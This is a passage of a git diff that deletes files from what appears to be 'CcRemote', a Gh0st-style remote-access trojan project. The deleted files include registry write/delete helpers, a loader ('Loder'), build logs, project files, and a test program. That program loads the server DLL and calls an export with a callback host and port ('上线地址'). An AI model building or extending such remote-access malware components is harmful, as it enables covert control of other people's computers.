\r\n",KeyName,"REG_BINARY"); - break; - } - lstrcat(szData,ValueTemp); - iResult =1; - } - break; - case 3: - iResult =1; - break; - } - } - __finally - { - RegCloseKey(MainKey); - RegCloseKey(hKey); - } - - return iResult; -} -//дעָ(Mode:0-½ 1-ü 2-ɾָ 3-ɾָ) -int WriteRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char* szData,DWORD dwData,int Mode) -{ - HKEY hKey; - DWORD dwDisposition; - int iResult =0; - - __try - { - // SetKeySecurityEx(MainKey,Subkey,KEY_ALL_ACCESS); - switch(Mode) - { - case 0: - if(RegCreateKeyEx(MainKey,SubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition) != ERROR_SUCCESS) - __leave; - case 1: - if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS) - __leave; - switch(Type) - { - case REG_SZ: - case REG_EXPAND_SZ: - if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)szData,strlen(szData)+1) == ERROR_SUCCESS) - iResult =1; - break; - case REG_DWORD: - if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)&dwData,sizeof(DWORD)) == ERROR_SUCCESS) - iResult =1; - break; - case REG_BINARY: - break; - } - break; - case 2: - if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS) - __leave; - if (RegDeleteKey(hKey,Vname) == ERROR_SUCCESS) - iResult =1; - break; - case 3: - if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS) - __leave; - if (RegDeleteValue(hKey,Vname) == ERROR_SUCCESS) - iResult =1; - break; - } - } - __finally - { - RegCloseKey(MainKey); - RegCloseKey(hKey); - } - return iResult; -} \ No newline at end of file diff --git a/CcMainDll/Loder/Release/Loder.Build.CppClean.log b/CcMainDll/Loder/Release/Loder.Build.CppClean.log deleted file mode 100644 index fc88cc0..0000000 --- a/CcMainDll/Loder/Release/Loder.Build.CppClean.log +++ /dev/null @@ -1,2 +0,0 @@ -f:\myapp\ccremote\ccmaindll\loder\release\loder.res -f:\myapp\ccremote\ccmaindll\loder\..\\..\\bin\\server\loder.exe diff --git a/CcMainDll/Loder/Release/Loder.log b/CcMainDll/Loder/Release/Loder.log deleted file mode 100644 index 170ba7e..0000000 --- a/CcMainDll/Loder/Release/Loder.log +++ /dev/null @@ -1,33 +0,0 @@ -C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。 - Loder.cpp - _WIN32_WINNT not defined. Defaulting to _WIN32_WINNT_MAXVER (see WinSDKVer.h) -f:\myapp\ccremote\ccmaindll\loder\regeditex.h(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明 -f:\myapp\ccremote\ccmaindll\loder\regeditex.h(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -f:\myapp\ccremote\ccmaindll\loder\regeditex.h(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -f:\myapp\ccremote\ccmaindll\loder\regeditex.h(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 -f:\myapp\ccremote\ccmaindll\loder\regeditex.h(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明 -f:\myapp\ccremote\ccmaindll\loder\regeditex.h(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明 -f:\myapp\ccremote\ccmaindll\loder\loder.cpp(94): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -f:\myapp\ccremote\ccmaindll\loder\loder.cpp(287): warning C4996: '_snprintf': This function or variable may be unsafe. Consider using _snprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1961): note: 参见“_snprintf”的声明 -f:\myapp\ccremote\ccmaindll\loder\loder.cpp(327): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 -f:\myapp\ccremote\ccmaindll\loder\loder.cpp(328): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 -f:\myapp\ccremote\ccmaindll\loder\loder.cpp(329): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 -f:\myapp\ccremote\ccmaindll\loder\loder.cpp(334): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明 -f:\myapp\ccremote\ccmaindll\loder\loder.cpp(339): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明 - 正在生成代码 - All 66 functions were compiled because no usable IPDB/IOBJ from previous compilation was found. - 已完成代码的生成 - Loder.vcxproj -> F:\myapp\CcRemote\CcMainDll\Loder\..\\..\\bin\\server\Loder.exe diff --git a/CcMainDll/Loder/Release/Loder.res b/CcMainDll/Loder/Release/Loder.res deleted file mode 100644 index bb24134..0000000 Binary files a/CcMainDll/Loder/Release/Loder.res and /dev/null differ diff --git a/CcMainDll/Loder/Release/Loder.tlog/Loder.lastbuildstate b/CcMainDll/Loder/Release/Loder.tlog/Loder.lastbuildstate deleted file mode 100644 index 3f4a20c..0000000 --- a/CcMainDll/Loder/Release/Loder.tlog/Loder.lastbuildstate +++ /dev/null @@ -1,2 +0,0 @@ -#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0 -Release|Win32|F:\myapp\CcRemote\CcMainDll\| diff --git a/CcMainDll/Loder/icon1.ico b/CcMainDll/Loder/icon1.ico deleted file mode 100644 index e66481e..0000000 Binary files a/CcMainDll/Loder/icon1.ico and /dev/null differ diff --git a/CcMainDll/Loder/resource.h b/CcMainDll/Loder/resource.h deleted file mode 100644 index c140203..0000000 --- a/CcMainDll/Loder/resource.h +++ /dev/null @@ -1,17 +0,0 @@ -//{{NO_DEPENDENCIES}} -// Microsoft Visual C++ ɵİļ -// Loder.rc ʹ -// -#define IDR_DLL1 101 -#define IDI_ICON1 102 - -// Next default values for new objects -// -#ifdef APSTUDIO_INVOKED -#ifndef APSTUDIO_READONLY_SYMBOLS -#define _APS_NEXT_RESOURCE_VALUE 103 -#define _APS_NEXT_COMMAND_VALUE 40001 -#define _APS_NEXT_CONTROL_VALUE 1001 -#define _APS_NEXT_SYMED_VALUE 101 -#endif -#endif diff --git a/CcMainDll/TestLoadDll/Debug/TestLoadDll.log b/CcMainDll/TestLoadDll/Debug/TestLoadDll.log deleted file mode 100644 index 462cbac..0000000 --- a/CcMainDll/TestLoadDll/Debug/TestLoadDll.log +++ /dev/null @@ -1,3 +0,0 @@ -C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。 - TestLoadDll.cpp - TestLoadDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe diff --git a/CcMainDll/TestLoadDll/Debug/TestLoadDll.tlog/TestLoadDll.lastbuildstate b/CcMainDll/TestLoadDll/Debug/TestLoadDll.tlog/TestLoadDll.lastbuildstate deleted file mode 100644 index bd1e4f2..0000000 --- a/CcMainDll/TestLoadDll/Debug/TestLoadDll.tlog/TestLoadDll.lastbuildstate +++ /dev/null @@ -1,2 +0,0 @@ -#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0 -Debug|Win32|F:\myapp\CcRemote\CcMainDll\| diff --git a/CcMainDll/TestLoadDll/Release/TestLoadDll.Build.CppClean.log b/CcMainDll/TestLoadDll/Release/TestLoadDll.Build.CppClean.log deleted file mode 100644 index f1eb298..0000000 --- a/CcMainDll/TestLoadDll/Release/TestLoadDll.Build.CppClean.log +++ /dev/null @@ -1,14 +0,0 @@ -f:\myapp\ccremote\ccmaindll\testloaddll\release\vc141.pdb -f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.obj -f:\myapp\ccremote\bin\server\testloaddll.exe -f:\myapp\ccremote\bin\server\testloaddll.pdb -f:\myapp\ccremote\bin\server\testloaddll.ipdb -f:\myapp\ccremote\bin\server\testloaddll.iobj -f:\myapp\ccremote\ccmaindll\testloaddll\..\..\bin\server\testloaddll.exe -f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.command.1.tlog -f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.read.1.tlog -f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.write.1.tlog -f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.command.1.tlog -f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.read.1.tlog -f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.write.1.tlog -f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\testloaddll.write.1u.tlog diff --git a/CcMainDll/TestLoadDll/Release/TestLoadDll.log b/CcMainDll/TestLoadDll/Release/TestLoadDll.log deleted file mode 100644 index 40277e4..0000000 --- a/CcMainDll/TestLoadDll/Release/TestLoadDll.log +++ /dev/null @@ -1,6 +0,0 @@ -C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。 - TestLoadDll.cpp - 正在生成代码 - All 171 functions were compiled because no usable IPDB/IOBJ from previous compilation was found. - 已完成代码的生成 - TestLoadDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe diff --git a/CcMainDll/TestLoadDll/Release/TestLoadDll.tlog/TestLoadDll.lastbuildstate b/CcMainDll/TestLoadDll/Release/TestLoadDll.tlog/TestLoadDll.lastbuildstate deleted file mode 100644 index 3f4a20c..0000000 --- a/CcMainDll/TestLoadDll/Release/TestLoadDll.tlog/TestLoadDll.lastbuildstate +++ /dev/null @@ -1,2 +0,0 @@ -#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0 -Release|Win32|F:\myapp\CcRemote\CcMainDll\| diff --git a/CcMainDll/TestLoadDll/TestLoadDll.cpp b/CcMainDll/TestLoadDll/TestLoadDll.cpp deleted file mode 100644 index 70947e0..0000000 --- a/CcMainDll/TestLoadDll/TestLoadDll.cpp +++ /dev/null @@ -1,25 +0,0 @@ -// TestLoadDll.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 -// - -#include -#include - -int main() -{ - std::cout << "Hello World!\n"; - char strHost[] = "127.0.0.1"; //声明上线地址 - int nPort = 80; //声明上线端口 - //载入服务端dll - HMODULE hServerDll = LoadLibrary(".\\..\\..\\bin\\server\\CcMainDll.dll"); - //HMODULE hServerDll = LoadLibrary(".\server.dll"); - //声明导出函数类型--导出的TestRun函数 - typedef void(_cdecl *TestRunT)(char* strHost, int nPort); - //寻找dll中导出函数 - TestRunT pTestRunT = (TestRunT)GetProcAddress(hServerDll, "TestFun"); - //判断函数是否为空 - if (pTestRunT != NULL) - { - pTestRunT(strHost, nPort); //调用这个函数 - } - -} diff --git a/CcMainDll/TestLoadDll/TestLoadDll.vcxproj b/CcMainDll/TestLoadDll/TestLoadDll.vcxproj deleted file mode 100644 index a3c364d..0000000 --- a/CcMainDll/TestLoadDll/TestLoadDll.vcxproj +++ /dev/null @@ -1,164 +0,0 @@ - - - - - Debug - Win32 - - - Release - Win32 - - - Debug - x64 - - - Release - x64 - - - - 15.0 - {7FD3FB3F-5E07-4F67-9A94-9A8507044D8B} - Win32Proj - TestLoadDll - 10.0.17763.0 - - - - Application - true - v141 - MultiByte - - - Application - false - v141 - true - MultiByte - - - Application - true - v141 - Unicode - - - Application - false - v141 - true - Unicode - - - - - - - - - - - - - - - - - - - - - false - ..\..\bin\server - - - true - ..\..\bin\server - - - true - - - false - - - - - - Level3 - MaxSpeed - true - true - true - WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - MultiThreadedDebug - - - Console - true - true - true - - - - - - - Level3 - Disabled - true - WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - MultiThreadedDebug - Default - - - Console - true - - - - - - - Level3 - Disabled - true - _DEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - - - - - - - Level3 - MaxSpeed - true - true - true - NDEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - true - true - - - - - - - - - \ No newline at end of file diff --git a/CcMainDll/TestLoadDll/TestLoadDll.vcxproj.filters b/CcMainDll/TestLoadDll/TestLoadDll.vcxproj.filters deleted file mode 100644 index 626e4f1..0000000 --- a/CcMainDll/TestLoadDll/TestLoadDll.vcxproj.filters +++ /dev/null @@ -1,22 +0,0 @@ - - - - - {4FC737F1-C7A5-4376-A066-2A32D752A2FF} - cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx - - - {93995380-89BD-4b04-88EB-625FBE52EBFB} - h;hh;hpp;hxx;hm;inl;inc;ipp;xsd - - - {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} - rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms - - - - - 源文件 - - - \ No newline at end of file diff --git a/CcMainDll/TestLoadDll/TestLoadDll.vcxproj.user b/CcMainDll/TestLoadDll/TestLoadDll.vcxproj.user deleted file mode 100644 index be25078..0000000 --- a/CcMainDll/TestLoadDll/TestLoadDll.vcxproj.user +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/bin/server/loder.exe b/bin/server/loder.exe deleted file mode 100644 index 3255c16..0000000 Binary files a/bin/server/loder.exe and /dev/null differ